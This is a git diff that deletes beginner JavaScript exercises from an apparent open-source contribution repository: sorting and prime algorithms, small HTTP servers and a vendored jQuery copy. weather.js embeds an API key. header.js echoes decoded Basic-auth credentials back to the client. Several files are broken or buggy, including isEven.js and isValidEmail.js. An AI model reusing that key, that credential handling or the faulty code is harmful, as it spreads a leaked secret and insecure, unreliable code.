base; -@tailwind components; -@import url('https://fonts.googleapis.com/css2?family=Genos:ital,wght@0,400;0,500;1,300;1,500&family=Poppins:ital,wght@0,400;0,600;0,700;1,300;1,500;1,600;1,900&family=Raleway:ital,wght@1,300&family=Roboto+Mono&display=swap'); -{ - font-family: 'Poppins', sans-serif; - -} - -@tailwind utilities; - diff --git a/Add Code Here/JAVASCRIPT/foodie/whatsapp.png b/Add Code Here/JAVASCRIPT/foodie/whatsapp.png deleted file mode 100644 index 42d6c31d496..00000000000 Binary files a/Add Code Here/JAVASCRIPT/foodie/whatsapp.png and /dev/null differ diff --git a/Add Code Here/JAVASCRIPT/header.js b/Add Code Here/JAVASCRIPT/header.js deleted file mode 100644 index eccc6f334ef..00000000000 --- a/Add Code Here/JAVASCRIPT/header.js +++ /dev/null @@ -1,51 +0,0 @@ - -/** - * Header HTTP - * - */ -const http = require("http") - -const server = http.createServer((req, res) => { - - let dataHeader, - dataAutorization, - splitData, - dataUser, - dataResponse; - - res.setHeader("Content-Type", "application/json"); - - - dataHeader = req.headers; - - console.log(dataHeader); - - - dataAutorization = dataHeader.authorization; - - - if(!dataAutorization){ - dataResponse = { - data: "Undefined Autorization" - }; - - - return res.end(JSON.stringify(dataResponse)); - } - - splitData = dataAutorization.split(" "); - - dataUser = splitData[1]; - - userPass = Buffer.from(dataUser, "base64").toString(); - - - dataResponse = { - token : dataHeader.authorization, - userPass - }; - - return res.end(JSON.stringify(dataResponse)); -}); - -//server.listen(5500) diff --git a/Add Code Here/JAVASCRIPT/helloscript.js b/Add Code Here/JAVASCRIPT/helloscript.js deleted file mode 100644 index 5c08be3eea0..00000000000 --- a/Add Code Here/JAVASCRIPT/helloscript.js +++ /dev/null @@ -1,12 +0,0 @@ -var name = "Helloworld" -var number = 1 -var number2 = 2 - -var answer = number+ name -console.log(answer) - -var note = name+ "hello!" - -var note2 = '${name} hello' - -console.log(note2) diff --git a/Add Code Here/JAVASCRIPT/humanReadableTime.js b/Add Code Here/JAVASCRIPT/humanReadableTime.js deleted file mode 100644 index 0206b1baea6..00000000000 --- a/Add Code Here/JAVASCRIPT/humanReadableTime.js +++ /dev/null @@ -1,19 +0,0 @@ -/* -Write a function, which takes a non-negative integer (seconds) as input and returns the time in a human-readable format (HH:MM:SS) -HH = hours, padded to 2 digits, range: 00 - 99 -MM = minutes, padded to 2 digits, range: 00 - 59 -SS = seconds, padded to 2 digits, range: 00 - 59 -The maximum time never exceeds 359999 (99:59:59) -You can find some examples in the test fixtures. -*/ - -function humanReadable(seconds) { - if (seconds === 359999) return '99:59:59'; - let HH = '0' + Math.floor(seconds / 3600); - let MM = '0' + Math.floor((seconds % 3600) / 60); - let SS = '0' + Math.floor((seconds % 3600) % 60); - return `${HH.slice(-2)}:${MM.slice(-2)}:${SS.slice(-2)}`; -} - -console.log(humanReadable(86400)); -console.log(humanReadable(86399)); diff --git a/Add Code Here/JAVASCRIPT/isEven.js b/Add Code Here/JAVASCRIPT/isEven.js deleted file mode 100644 index 458737e60dd..00000000000 --- a/Add Code Here/JAVASCRIPT/isEven.js +++ /dev/null @@ -1,8 +0,0 @@ -export const isEven(number) = () => { - if (number == 1) return false - if (number == 2) return true - if (number == 3) return false - if (number == 4) return true - - //please continue from here -} diff --git a/Add Code Here/JAVASCRIPT/isValidEmail.js b/Add Code Here/JAVASCRIPT/isValidEmail.js deleted file mode 100644 index 419f214bae1..00000000000 --- a/Add Code Here/JAVASCRIPT/isValidEmail.js +++ /dev/null @@ -1,12 +0,0 @@ -let isEmail = new RegExp('[a-z0-9]+@[a-z]+.[a-z]{2,3}'); -let isGmail = new RegExp('[a-z0-9]+@gmail.com'); - -// Generic Email -function isValidEmail(email) { - return regex.test(email); -} - -// Only validates gmail addresses -function isGmail(email) { - return isGmail.test(email); -} diff --git a/Add Code Here/JAVASCRIPT/maskingNumber.js b/Add Code Here/JAVASCRIPT/maskingNumber.js deleted file mode 100644 index 147d348b6c5..00000000000 --- a/Add Code Here/JAVASCRIPT/maskingNumber.js +++ /dev/null @@ -1,4 +0,0 @@ -const numberMask = (number) => number.replace(/\d(?=\d{3})/g, "*"); -// replace number from inside curly braces regex with your number you want to don't masking it -console.log(numberMask("1234567890")); -// Example Output: *******890 \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/palindrome_checker.js b/Add Code Here/JAVASCRIPT/palindrome_checker.js deleted file mode 100644 index f368dbf6938..00000000000 --- a/Add Code Here/JAVASCRIPT/palindrome_checker.js +++ /dev/null @@ -1,21 +0,0 @@ -function palindrome(str) { - // Search the non-word character using regex - let regex = /[\_\W]/g; - - // Reversing the word in params - let strReverse = Array.from(str) - .reverse() - .join("") - .toLocaleLowerCase() - .replace(regex, "") - .trim(); - - // Assign the params to variable "string" - let string = str.toLocaleLowerCase().replace(regex, "").trim(); - - // Matching the normal word and the reversed word from variable "string" and "strReverse" - return string === strReverse ? true : false; -} - -// The result -console.log(palindrome("eye")); diff --git a/Add Code Here/JAVASCRIPT/primes/sieve_of_eratosthenes.js b/Add Code Here/JAVASCRIPT/primes/sieve_of_eratosthenes.js deleted file mode 100644 index a37815a5863..00000000000 --- a/Add Code Here/JAVASCRIPT/primes/sieve_of_eratosthenes.js +++ /dev/null @@ -1,23 +0,0 @@ -function calcPrimes(digits) { - if (!digits) throw new Error('Need digits to calculate to.'); - - let array = new Array(digits + 1).fill(true); - let final = []; - array[0] = false; - array[1] = false; - - for (let i = 2; i <= Math.sqrt(digits); i++) { - if (array[i]) { - for(let j = i * 2; j <= digits; j += i) { - array[j] = false; - } - } - } - - for (let i = 2; i <= digits; i++) { - if (array[i]) { - final.push(i); - } - } - return final; -} diff --git a/Add Code Here/JAVASCRIPT/primes/sieve_of_sunduram.js b/Add Code Here/JAVASCRIPT/primes/sieve_of_sunduram.js deleted file mode 100644 index b6d5cd3b20f..00000000000 --- a/Add Code Here/JAVASCRIPT/primes/sieve_of_sunduram.js +++ /dev/null @@ -1,25 +0,0 @@ -function sieve_of_sunduram (n) { - if (n < 3) { - if (n < 2) return 0 - else return 1; - } - - let k = (n - 1) / 2; - - let array = new Array(n + 1).fill(false); - let primes = []; - - for (let i = 1; i <= k; i++) { - for (let j = i; (i + j + 2 * i * j) <= k; j++) { - array[i + j + 2 * i * j] = true; - } - } - - for (let i = 1; i <= k; i++) { - if (array[i] == false) { - primes.push(2 * i + 1); - } - } - - return primes; -} diff --git a/Add Code Here/JAVASCRIPT/quicksort.js b/Add Code Here/JAVASCRIPT/quicksort.js deleted file mode 100644 index 975b6bfa2a5..00000000000 --- a/Add Code Here/JAVASCRIPT/quicksort.js +++ /dev/null @@ -1,42 +0,0 @@ -var items = [5,3,7,6,2,9]; -function swap(items, leftIndex, rightIndex){ - var temp = items[leftIndex]; - items[leftIndex] = items[rightIndex]; - items[rightIndex] = temp; -} -function partition(items, left, right) { - var pivot = items[Math.floor((right + left) / 2)], //middle element - i = left, //left pointer - j = right; //right pointer - while (i <= j) { - while (items[i] < pivot) { - i++; - } - while (items[j] > pivot) { - j--; - } - if (i <= j) { - swap(items, i, j); //sawpping two elements - i++; - j--; - } - } - return i; -} - -function quickSort(items, left, right) { - var index; - if (items.length > 1) { - index = partition(items, left, right); //index returned from partition - if (left < index - 1) { //more elements on the left side of the pivot - quickSort(items, left, index - 1); - } - if (index < right) { //more elements on the right side of the pivot - quickSort(items, index, right); - } - } - return items; -} -// first call to quick sort -var sortedArray = quickSort(items, 0, items.length - 1); -console.log(sortedArray); //prints [2,3,5,6,7,9] diff --git a/Add Code Here/JAVASCRIPT/randomNumberGame.js b/Add Code Here/JAVASCRIPT/randomNumberGame.js deleted file mode 100644 index 322b33378a3..00000000000 --- a/Add Code Here/JAVASCRIPT/randomNumberGame.js +++ /dev/null @@ -1,14 +0,0 @@ -const num = Math.floor(Math.random() * 100) + 1; -let chances = 0; -let choice; -do { - choice = prompt("Enter the your guess: ") - if (choice > num) { - console.log('Way too high!') - } else if (choice < num) { - console.log('Way too low!') - } else { - console.log(`You entered the correct number!! Your score is '${100 - chances}'`) - } - chances++ -} while (choice != num) diff --git a/Add Code Here/JAVASCRIPT/secondsFormatter.js b/Add Code Here/JAVASCRIPT/secondsFormatter.js deleted file mode 100644 index 0206b1baea6..00000000000 --- a/Add Code Here/JAVASCRIPT/secondsFormatter.js +++ /dev/null @@ -1,19 +0,0 @@ -/* -Write a function, which takes a non-negative integer (seconds) as input and returns the time in a human-readable format (HH:MM:SS) -HH = hours, padded to 2 digits, range: 00 - 99 -MM = minutes, padded to 2 digits, range: 00 - 59 -SS = seconds, padded to 2 digits, range: 00 - 59 -The maximum time never exceeds 359999 (99:59:59) -You can find some examples in the test fixtures. -*/ - -function humanReadable(seconds) { - if (seconds === 359999) return '99:59:59'; - let HH = '0' + Math.floor(seconds / 3600); - let MM = '0' + Math.floor((seconds % 3600) / 60); - let SS = '0' + Math.floor((seconds % 3600) % 60); - return `${HH.slice(-2)}:${MM.slice(-2)}:${SS.slice(-2)}`; -} - -console.log(humanReadable(86400)); -console.log(humanReadable(86399)); diff --git a/Add Code Here/JAVASCRIPT/simple-promise.js b/Add Code Here/JAVASCRIPT/simple-promise.js deleted file mode 100644 index d0c05411955..00000000000 --- a/Add Code Here/JAVASCRIPT/simple-promise.js +++ /dev/null @@ -1,9 +0,0 @@ -function generatePromise(msg) { - return new Promise((resolve, reject) => { - if(msg === 'hacktoberfest') { - resolve('Hello Hacktoberfest') - } else { - reject(':(') - } - }) -} \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/simple_filter.js b/Add Code Here/JAVASCRIPT/simple_filter.js deleted file mode 100644 index 4a35d39a96c..00000000000 --- a/Add Code Here/JAVASCRIPT/simple_filter.js +++ /dev/null @@ -1,36 +0,0 @@ -function filterItemByAvailability() { - // Array with item to filter - const item = [ - { - id: "1", - name: "Spicy Instant Noodle", - availability: true, - }, - { - id: "2", - name: "Limited Item A", - availability: false, - }, - { - id: "3", - name: "Cute Plushie", - availability: true, - }, - ]; - // Log initial array item - console.log(item); - - // empty array to store available item - const result = []; - - // loop through item array, filter avalability attribute - for (const data of item) { - if (data.availability) { - result.push(data); - } - } - - // Log final array item or available item - console.log(result); -} -filterItemByAvailability(); diff --git a/Add Code Here/JAVASCRIPT/time.js b/Add Code Here/JAVASCRIPT/time.js deleted file mode 100644 index beab14ce2fa..00000000000 --- a/Add Code Here/JAVASCRIPT/time.js +++ /dev/null @@ -1,9 +0,0 @@ -// Calculate milliseconds in a year -const minute = 1000 * 60; -const hour = minute * 60; -const day = hour * 24; -const year = day * 365; - -// Divide Time with a year -const date = new Date(); -let years = Math.round(date.getTime() / year); diff --git a/Add Code Here/JAVASCRIPT/weather.js b/Add Code Here/JAVASCRIPT/weather.js deleted file mode 100644 index 18d91b4ada6..00000000000 --- a/Add Code Here/JAVASCRIPT/weather.js +++ /dev/null @@ -1,37 +0,0 @@ -const http = require("http"); -const fs = require("fs"); -var requests = require("requests"); - - -const homeFile = fs.readFileSync("home.html" , "utf-8"); -const replaceVal = (tempVal, orgVal) =>{ - let temperature = tempVal.replace("{%tempval%}", orgVal.main.temp); - temperature = temperature.replace("{%tempmin%}", orgVal.main.temp_min); - temperature = temperature.replace("{%tempmax%}", orgVal.main.temp_max); - temperature = temperature.replace("{%location%}", orgVal.name); - temperature = temperature.replace("{%Country%}", orgVal.sys.country); - temperature = temperature.replace("{%tempstatus%}", orgVal.weather[0].main); - return temperature; - -} - -const server = http.createServer((req,res) => { - if(req.url =="/"){ - requests("http://api.openweathermap.org/data/2.5/weather?q=Ghaziabad&appid=5550d112cd1c40c065d69df3fbf1337b") - .on("data", (chunk)=>{ - const objdata = JSON.parse(chunk); - const arrData = [objdata]; - const realTimeData = arrData - .map((val) => replaceVal(homeFile, val)).join(""); - res.write(realTimeData); - - }) - .on("end" , (err) => { - if (err) return console.log("Connection closed due to error"); - res.end(); - }); - } - -}); - -server.listen(8000, "127.0.0.1"); diff --git a/Add Code Here/JAVASCRIPT/word-frequency-counter/README.md b/Add Code Here/JAVASCRIPT/word-frequency-counter/README.md deleted file mode 100644 index 71be55f77aa..00000000000 --- a/Add Code Here/JAVASCRIPT/word-frequency-counter/README.md +++ /dev/null @@ -1,4 +0,0 @@ -# word-frequency-counter -using jquery library and javascript making a word counter application - -Simple use the main.html in browser \ No newline at end of file diff --git a/Add Code Here/JAVASCRIPT/word-frequency-counter/additional.js b/Add Code Here/JAVASCRIPT/word-frequency-counter/additional.js deleted file mode 100644 index ebf661e94e0..00000000000 --- a/Add Code Here/JAVASCRIPT/word-frequency-counter/additional.js +++ /dev/null @@ -1,4239 +0,0 @@ -/*! jQuery v3.2.1 | (c) JS Foundation and other contributors | jquery.org/license */ -!function(a, b) { - "use strict"; - "object" == typeof module && "object" == typeof module.exports ? module.exports = a.document ? b(a, !0) : function(a) { - if (!a.document) - throw new Error("jQuery requires a window with a document"); - return b(a) - } - : b(a) -}("undefined" != typeof window ? window : this, function(a, b) { - "use strict"; - var c = [] - , d = a.document - , e = Object.getPrototypeOf - , f = c.slice - , g = c.concat - , h = c.push - , i = c.indexOf - , j = {} - , k = j.toString - , l = j.hasOwnProperty - , m = l.toString - , n = m.call(Object) - , o = {}; - function p(a, b) { - b = b || d; - var c = b.createElement("script"); - c.text = a, - b.head.appendChild(c).parentNode.removeChild(c) - } - var q = "3.2.1" - , r = function(a, b) { - return new r.fn.init(a,b) - } - , s = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g - , t = /^-ms-/ - , u = /-([a-z])/g - , v = function(a, b) { - return b.toUpperCase() - }; - r.fn = r.prototype = { - jquery: q, - constructor: r, - length: 0, - toArray: function() { - return f.call(this) - }, - get: function(a) { - return null == a ? f.call(this) : a < 0 ? this[a + this.length] : this[a] - }, - pushStack: function(a) { - var b = r.merge(this.constructor(), a); - return b.prevObject = this, - b - }, - each: function(a) { - return r.each(this, a) - }, - map: function(a) { - return this.pushStack(r.map(this, function(b, c) { - return a.call(b, c, b) - })) - }, - slice: function() { - return this.pushStack(f.apply(this, arguments)) - }, - first: function() { - return this.eq(0) - }, - last: function() { - return this.eq(-1) - }, - eq: function(a) { - var b = this.length - , c = +a + (a < 0 ? b : 0); - return this.pushStack(c >= 0 && c < b ? [this[c]] : []) - }, - end: function() { - return this.prevObject || this.constructor() - }, - push: h, - sort: c.sort, - splice: c.splice - }, - r.extend = r.fn.extend = function() { - var a, b, c, d, e, f, g = arguments[0] || {}, h = 1, i = arguments.length, j = !1; - for ("boolean" == typeof g && (j = g, - g = arguments[h] || {}, - h++), - "object" == typeof g || r.isFunction(g) || (g = {}), - h === i && (g = this, - h--); h < i; h++) - if (null != (a = arguments[h])) - for (b in a) - c = g[b], - d = a[b], - g !== d && (j && d && (r.isPlainObject(d) || (e = Array.isArray(d))) ? (e ? (e = !1, - f = c && Array.isArray(c) ? c : []) : f = c && r.isPlainObject(c) ? c : {}, - g[b] = r.extend(j, f, d)) : void 0 !== d && (g[b] = d)); - return g - } - , - r.extend({ - expando: "jQuery" + (q + Math.random()).replace(/\D/g, ""), - isReady: !0, - error: function(a) { - throw new Error(a) - }, - noop: function() {}, - isFunction: function(a) { - return "function" === r.type(a) - }, - isWindow: function(a) { - return null != a && a === a.window - }, - isNumeric: function(a) { - var b = r.type(a); - return ("number" === b || "string" === b) && !isNaN(a - parseFloat(a)) - }, - isPlainObject: function(a) { - var b, c; - return !(!a || "[object Object]" !== k.call(a)) && (!(b = e(a)) || (c = l.call(b, "constructor") && b.constructor, - "function" == typeof c && m.call(c) === n)) - }, - isEmptyObject: function(a) { - var b; - for (b in a) - return !1; - return !0 - }, - type: function(a) { - return null == a ? a + "" : "object" == typeof a || "function" == typeof a ? j[k.call(a)] || "object" : typeof a - }, - globalEval: function(a) { - p(a) - }, - camelCase: function(a) { - return a.replace(t, "ms-").replace(u, v) - }, - each: function(a, b) { - var c, d = 0; - if (w(a)) { - for (c = a.length; d < c; d++) - if (b.call(a[d], d, a[d]) === !1) - break - } else - for (d in a) - if (b.call(a[d], d, a[d]) === !1) - break; - return a - }, - trim: function(a) { - return null == a ? "" : (a + "").replace(s, "") - }, - makeArray: function(a, b) { - var c = b || []; - return null != a && (w(Object(a)) ? r.merge(c, "string" == typeof a ? [a] : a) : h.call(c, a)), - c - }, - inArray: function(a, b, c) { - return null == b ? -1 : i.call(b, a, c) - }, - merge: function(a, b) { - for (var c = +b.length, d = 0, e = a.length; d < c; d++) - a[e++] = b[d]; - return a.length = e, - a - }, - grep: function(a, b, c) { - for (var d, e = [], f = 0, g = a.length, h = !c; f < g; f++) - d = !b(a[f], f), - d !== h && e.push(a[f]); - return e - }, - map: function(a, b, c) { - var d, e, f = 0, h = []; - if (w(a)) - for (d = a.length; f < d; f++) - e = b(a[f], f, c), - null != e && h.push(e); - else - for (f in a) - e = b(a[f], f, c), - null != e && h.push(e); - return g.apply([], h) - }, - guid: 1, - proxy: function(a, b) { - var c, d, e; - if ("string" == typeof b && (c = a[b], - b = a, - a = c), - r.isFunction(a)) - return d = f.call(arguments, 2), - e = function() { - return a.apply(b || this, d.concat(f.call(arguments))) - } - , - e.guid = a.guid = a.guid || r.guid++, - e - }, - now: Date.now, - support: o - }), - "function" == typeof Symbol && (r.fn[Symbol.iterator] = c[Symbol.iterator]), - r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "), function(a, b) { - j["[object " + b + "]"] = b.toLowerCase() - }); - function w(a) { - var b = !!a && "length"in a && a.length - , c = r.type(a); - return "function" !== c && !r.isWindow(a) && ("array" === c || 0 === b || "number" == typeof b && b > 0 && b - 1 in a) - } - var x = function(a) { - var b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u = "sizzle" + 1 * new Date, v = a.document, w = 0, x = 0, y = ha(), z = ha(), A = ha(), B = function(a, b) { - return a === b && (l = !0), - 0 - }, C = {}.hasOwnProperty, D = [], E = D.pop, F = D.push, G = D.push, H = D.slice, I = function(a, b) { - for (var c = 0, d = a.length; c < d; c++) - if (a[c] === b) - return c; - return -1 - }, J = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped", K = "[\\x20\\t\\r\\n\\f]", L = "(?:\\\\.|[\\w-]|[^\0-\\xa0])+", M = "\\[" + K + "*(" + L + ")(?:" + K + "*([*^$|!~]?=)" + K + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + L + "))|)" + K + "*\\]", N = ":(" + L + ")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|" + M + ")*)|.*)\\)|)", O = new RegExp(K + "+","g"), P = new RegExp("^" + K + "+|((?:^|[^\\\\])(?:\\\\.)*)" + K + "+$","g"), Q = new RegExp("^" + K + "*," + K + "*"), R = new RegExp("^" + K + "*([>+~]|" + K + ")" + K + "*"), S = new RegExp("=" + K + "*([^\\]'\"]*?)" + K + "*\\]","g"), T = new RegExp(N), U = new RegExp("^" + L + "$"), V = { - ID: new RegExp("^#(" + L + ")"), - CLASS: new RegExp("^\\.(" + L + ")"), - TAG: new RegExp("^(" + L + "|[*])"), - ATTR: new RegExp("^" + M), - PSEUDO: new RegExp("^" + N), - CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + K + "*(even|odd|(([+-]|)(\\d*)n|)" + K + "*(?:([+-]|)" + K + "*(\\d+)|))" + K + "*\\)|)","i"), - bool: new RegExp("^(?:" + J + ")$","i"), - needsContext: new RegExp("^" + K + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + K + "*((?:-\\d)?\\d*)" + K + "*\\)|)(?=[^-]|$)","i") - }, W = /^(?:input|select|textarea|button)$/i, X = /^h\d$/i, Y = /^[^{]+\{\s*\[native \w/, Z = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/, $ = /[+~]/, _ = new RegExp("\\\\([\\da-f]{1,6}" + K + "?|(" + K + ")|.)","ig"), aa = function(a, b, c) { - var d = "0x" + b - 65536; - return d !== d || c ? b : d < 0 ? String.fromCharCode(d + 65536) : String.fromCharCode(d >> 10 | 55296, 1023 & d | 56320) - }, ba = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g, ca = function(a, b) { - return b ? "\0" === a ? "\ufffd" : a.slice(0, -1) + "\\" + a.charCodeAt(a.length - 1).toString(16) + " " : "\\" + a - }, da = function() { - m() - }, ea = ta(function(a) { - return a.disabled === !0 && ("form"in a || "label"in a) - }, { - dir: "parentNode", - next: "legend" - }); - try { - G.apply(D = H.call(v.childNodes), v.childNodes), - D[v.childNodes.length].nodeType - } catch (fa) { - G = { - apply: D.length ? function(a, b) { - F.apply(a, H.call(b)) - } - : function(a, b) { - var c = a.length - , d = 0; - while (a[c++] = b[d++]) - ; - a.length = c - 1 - } - } - } - function ga(a, b, d, e) { - var f, h, j, k, l, o, r, s = b && b.ownerDocument, w = b ? b.nodeType : 9; - if (d = d || [], - "string" != typeof a || !a || 1 !== w && 9 !== w && 11 !== w) - return d; - if (!e && ((b ? b.ownerDocument || b : v) !== n && m(b), - b = b || n, - p)) { - if (11 !== w && (l = Z.exec(a))) - if (f = l[1]) { - if (9 === w) { - if (!(j = b.getElementById(f))) - return d; - if (j.id === f) - return d.push(j), - d - } else if (s && (j = s.getElementById(f)) && t(b, j) && j.id === f) - return d.push(j), - d - } else { - if (l[2]) - return G.apply(d, b.getElementsByTagName(a)), - d; - if ((f = l[3]) && c.getElementsByClassName && b.getElementsByClassName) - return G.apply(d, b.getElementsByClassName(f)), - d - } - if (c.qsa && !A[a + " "] && (!q || !q.test(a))) { - if (1 !== w) - s = b, - r = a; - else if ("object" !== b.nodeName.toLowerCase()) { - (k = b.getAttribute("id")) ? k = k.replace(ba, ca) : b.setAttribute("id", k = u), - o = g(a), - h = o.length; - while (h--) - o[h] = "#" + k + " " + sa(o[h]); - r = o.join(","), - s = $.test(a) && qa(b.parentNode) || b - } - if (r) - try { - return G.apply(d, s.querySelectorAll(r)), - d - } catch (x) {} finally { - k === u && b.removeAttribute("id") - } - } - } - return i(a.replace(P, "$1"), b, d, e) - } - function ha() { - var a = []; - function b(c, e) { - return a.push(c + " ") > d.cacheLength && delete b[a.shift()], - b[c + " "] = e - } - return b - } - function ia(a) { - return a[u] = !0, - a - } - function ja(a) { - var b = n.createElement("fieldset"); - try { - return !!a(b) - } catch (c) { - return !1 - } finally { - b.parentNode && b.parentNode.removeChild(b), - b = null - } - } - function ka(a, b) { - var c = a.split("|") - , e = c.length; - while (e--) - d.attrHandle[c[e]] = b - } - function la(a, b) { - var c = b && a - , d = c && 1 === a.nodeType && 1 === b.nodeType && a.sourceIndex - b.sourceIndex; - if (d) - return d; - if (c) - while (c = c.nextSibling) - if (c === b) - return -1; - return a ? 1 : -1 - } - function ma(a) { - return function(b) { - var c = b.nodeName.toLowerCase(); - return "input" === c && b.type === a - } - } - function na(a) { - return function(b) { - var c = b.nodeName.toLowerCase(); - return ("input" === c || "button" === c) && b.type === a - } - } - function oa(a) { - return function(b) { - return "form"in b ? b.parentNode && b.disabled === !1 ? "label"in b ? "label"in b.parentNode ? b.parentNode.disabled === a : b.disabled === a : b.isDisabled === a || b.isDisabled !== !a && ea(b) === a : b.disabled === a : "label"in b && b.disabled === a - } - } - function pa(a) { - return ia(function(b) { - return b = +b, - ia(function(c, d) { - var e, f = a([], c.length, b), g = f.length; - while (g--) - c[e = f[g]] && (c[e] = !(d[e] = c[e])) - }) - }) - } - function qa(a) { - return a && "undefined" != typeof a.getElementsByTagName && a - } - c = ga.support = {}, - f = ga.isXML = function(a) { - var b = a && (a.ownerDocument || a).documentElement; - return !!b && "HTML" !== b.nodeName - } - , - m = ga.setDocument = function(a) { - var b, e, g = a ? a.ownerDocument || a : v; - return g !== n && 9 === g.nodeType && g.documentElement ? (n = g, - o = n.documentElement, - p = !f(n), - v !== n && (e = n.defaultView) && e.top !== e && (e.addEventListener ? e.addEventListener("unload", da, !1) : e.attachEvent && e.attachEvent("onunload", da)), - c.attributes = ja(function(a) { - return a.className = "i", - !a.getAttribute("className") - }), - c.getElementsByTagName = ja(function(a) { - return a.appendChild(n.createComment("")), - !a.getElementsByTagName("*").length - }), - c.getElementsByClassName = Y.test(n.getElementsByClassName), - c.getById = ja(function(a) { - return o.appendChild(a).id = u, - !n.getElementsByName || !n.getElementsByName(u).length - }), - c.getById ? (d.filter.ID = function(a) { - var b = a.replace(_, aa); - return function(a) { - return a.getAttribute("id") === b - } - } - , - d.find.ID = function(a, b) { - if ("undefined" != typeof b.getElementById && p) { - var c = b.getElementById(a); - return c ? [c] : [] - } - } - ) : (d.filter.ID = function(a) { - var b = a.replace(_, aa); - return function(a) { - var c = "undefined" != typeof a.getAttributeNode && a.getAttributeNode("id"); - return c && c.value === b - } - } - , - d.find.ID = function(a, b) { - if ("undefined" != typeof b.getElementById && p) { - var c, d, e, f = b.getElementById(a); - if (f) { - if (c = f.getAttributeNode("id"), - c && c.value === a) - return [f]; - e = b.getElementsByName(a), - d = 0; - while (f = e[d++]) - if (c = f.getAttributeNode("id"), - c && c.value === a) - return [f] - } - return [] - } - } - ), - d.find.TAG = c.getElementsByTagName ? function(a, b) { - return "undefined" != typeof b.getElementsByTagName ? b.getElementsByTagName(a) : c.qsa ? b.querySelectorAll(a) : void 0 - } - : function(a, b) { - var c, d = [], e = 0, f = b.getElementsByTagName(a); - if ("*" === a) { - while (c = f[e++]) - 1 === c.nodeType && d.push(c); - return d - } - return f - } - , - d.find.CLASS = c.getElementsByClassName && function(a, b) { - if ("undefined" != typeof b.getElementsByClassName && p) - return b.getElementsByClassName(a) - } - , - r = [], - q = [], - (c.qsa = Y.test(n.querySelectorAll)) && (ja(function(a) { - o.appendChild(a).innerHTML = "", - a.querySelectorAll("[msallowcapture^='']").length && q.push("[*^$]=" + K + "*(?:''|\"\")"), - a.querySelectorAll("[selected]").length || q.push("\\[" + K + "*(?:value|" + J + ")"), - a.querySelectorAll("[id~=" + u + "-]").length || q.push("~="), - a.querySelectorAll(":checked").length || q.push(":checked"), - a.querySelectorAll("a#" + u + "+*").length || q.push(".#.+[+~]") - }), - ja(function(a) { - a.innerHTML = ""; - var b = n.createElement("input"); - b.setAttribute("type", "hidden"), - a.appendChild(b).setAttribute("name", "D"), - a.querySelectorAll("[name=d]").length && q.push("name" + K + "*[*^$|!~]?="), - 2 !== a.querySelectorAll(":enabled").length && q.push(":enabled", ":disabled"), - o.appendChild(a).disabled = !0, - 2 !== a.querySelectorAll(":disabled").length && q.push(":enabled", ":disabled"), - a.querySelectorAll("*,:x"), - q.push(",.*:") - })), - (c.matchesSelector = Y.test(s = o.matches || o.webkitMatchesSelector || o.mozMatchesSelector || o.oMatchesSelector || o.msMatchesSelector)) && ja(function(a) { - c.disconnectedMatch = s.call(a, "*"), - s.call(a, "[s!='']:x"), - r.push("!=", N) - }), - q = q.length && new RegExp(q.join("|")), - r = r.length && new RegExp(r.join("|")), - b = Y.test(o.compareDocumentPosition), - t = b || Y.test(o.contains) ? function(a, b) { - var c = 9 === a.nodeType ? a.documentElement : a - , d = b && b.parentNode; - return a === d || !(!d || 1 !== d.nodeType || !(c.contains ? c.contains(d) : a.compareDocumentPosition && 16 & a.compareDocumentPosition(d))) - } - : function(a, b) { - if (b) - while (b = b.parentNode) - if (b === a) - return !0; - return !1 - } - , - B = b ? function(a, b) { - if (a === b) - return l = !0, - 0; - var d = !a.compareDocumentPosition - !b.compareDocumentPosition; - return d ? d : (d = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1, - 1 & d || !c.sortDetached && b.compareDocumentPosition(a) === d ? a === n || a.ownerDocument === v && t(v, a) ? -1 : b === n || b.ownerDocument === v && t(v, b) ? 1 : k ? I(k, a) - I(k, b) : 0 : 4 & d ? -1 : 1) - } - : function(a, b) { - if (a === b) - return l = !0, - 0; - var c, d = 0, e = a.parentNode, f = b.parentNode, g = [a], h = [b]; - if (!e || !f) - return a === n ? -1 : b === n ? 1 : e ? -1 : f ? 1 : k ? I(k, a) - I(k, b) : 0; - if (e === f) - return la(a, b); - c = a; - while (c = c.parentNode) - g.unshift(c); - c = b; - while (c = c.parentNode) - h.unshift(c); - while (g[d] === h[d]) - d++; - return d ? la(g[d], h[d]) : g[d] === v ? -1 : h[d] === v ? 1 : 0 - } - , - n) : n - } - , - ga.matches = function(a, b) { - return ga(a, null, null, b) - } - , - ga.matchesSelector = function(a, b) { - if ((a.ownerDocument || a) !== n && m(a), - b = b.replace(S, "='$1']"), - c.matchesSelector && p && !A[b + " "] && (!r || !r.test(b)) && (!q || !q.test(b))) - try { - var d = s.call(a, b); - if (d || c.disconnectedMatch || a.document && 11 !== a.document.nodeType) - return d - } catch (e) {} - return ga(b, n, null, [a]).length > 0 - } - , - ga.contains = function(a, b) { - return (a.ownerDocument || a) !== n && m(a), - t(a, b) - } - , - ga.attr = function(a, b) { - (a.ownerDocument || a) !== n && m(a); - var e = d.attrHandle[b.toLowerCase()] - , f = e && C.call(d.attrHandle, b.toLowerCase()) ? e(a, b, !p) : void 0; - return void 0 !== f ? f : c.attributes || !p ? a.getAttribute(b) : (f = a.getAttributeNode(b)) && f.specified ? f.value : null - } - , - ga.escape = function(a) { - return (a + "").replace(ba, ca) - } - , - ga.error = function(a) { - throw new Error("Syntax error, unrecognized expression: " + a) - } - , - ga.uniqueSort = function(a) { - var b, d = [], e = 0, f = 0; - if (l = !c.detectDuplicates, - k = !c.sortStable && a.slice(0), - a.sort(B), - l) { - while (b = a[f++]) - b === a[f] && (e = d.push(f)); - 